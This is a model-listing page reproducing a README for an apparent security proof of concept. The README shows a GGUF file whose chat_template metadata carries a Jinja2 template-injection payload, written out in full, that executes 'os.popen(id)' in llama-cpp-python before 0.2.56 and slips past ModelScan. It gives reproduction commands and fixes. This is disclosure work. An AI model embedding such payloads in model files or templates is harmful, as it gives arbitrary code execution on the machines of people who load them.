Model Intelligence Sheet
hoanghai2110/gguf-jinja2-ssti-poc overview
GGUF Jinja2 SSTI – Security PoC This is a security research proof of concept demonstrating a vulnerability in llama cpp python < 0.2.56 combined with ModelScan…
Runs locally from ~0.0 MB disk (4 GB VRAM class GPUs with llama.cpp / guIDE).
Repository Files & Downloads
1 GGUF files detected
Direct downloads for local inference
| File | Type | Quantization | Size | Link |
|---|---|---|---|---|
| malicious_ace.gguf | GGUF | GGUF | 0.0 MB | Download |
Model Details
| Model ID | hoanghai2110/gguf-jinja2-ssti-poc |
|---|---|
| Author | hoanghai2110 |
| Pipeline | — |
| License | mit |
| Base model | — |
| Last modified | 2026-06-29T03:19:10.000Z |
Model README
---
license: mit
tags:
- llama
- gguf
- security-research
---
GGUF Jinja2 SSTI – Security PoC
This is a security research proof-of-concept demonstrating a vulnerability in llama-cpp-python < 0.2.56 combined with ModelScan ≤ 0.8.8.
Vulnerability
A GGUF model file can embed a Jinja2 SSTI (Server-Side Template Injection) payload inside the tokenizer.chat_template metadata field.
- ModelScan ≤ 0.8.8:
.gguffiles are completely skipped (SCAN_NOT_SUPPORTED). CLI prints "No issues found! 🎉" — a false negative. - llama-cpp-python < 0.2.56: Chat template is loaded from GGUF at
Llama.__init__()and rendered with an unsandboxedjinja2.Environment→ arbitrary code execution at first inference call.
Reproduction
pip install modelscan==0.8.8
# Step 1: ModelScan bypass
modelscan -p malicious_ace.gguf
# → "No issues found! 🎉" (file was NEVER scanned)
# Step 2: ACE trigger (requires llama-cpp-python < 0.2.56)
pip install "llama-cpp-python==0.2.55"
python3 -c "
from llama_cpp import Llama
model = Llama('malicious_ace.gguf', n_ctx=512, verbose=False)
model.create_chat_completion(messages=[{'role':'user','content':'hello'}])
# uid=1000(user)... printed to stdout
"
Payload Location
The SSTI payload is stored in the GGUF tokenizer.chat_template field:
{%- set payload -%}
{%- for c in ().__class__.__base__.__subclasses__() -%}
{%- if c.__name__ == 'catch_warnings' -%}
{{- c()._module.__builtins__['__import__']('os').popen('id').read() -}}
{%- endif -%}
{%- endfor -%}
{%- endset -%}
{{ payload }}
Fix
- ModelScan: Add GGUF scanner; fix CLI to distinguish skipped vs. clean files
- llama-cpp-python: Upgrade to ≥ 0.2.56 (fixed in commit
561e8806, 2024-05-10)
References
- llama-cpp-python security fix: https://github.com/abetlen/llama-cpp-python/commit/561e8806
- ModelScan repository: https://github.com/protectai/modelscan
Run hoanghai2110/gguf-jinja2-ssti-poc with guIDE
Download guIDE — the AI-native code editor with local LLM inference and 69 built-in tools.
Source: Hugging Face · Compare models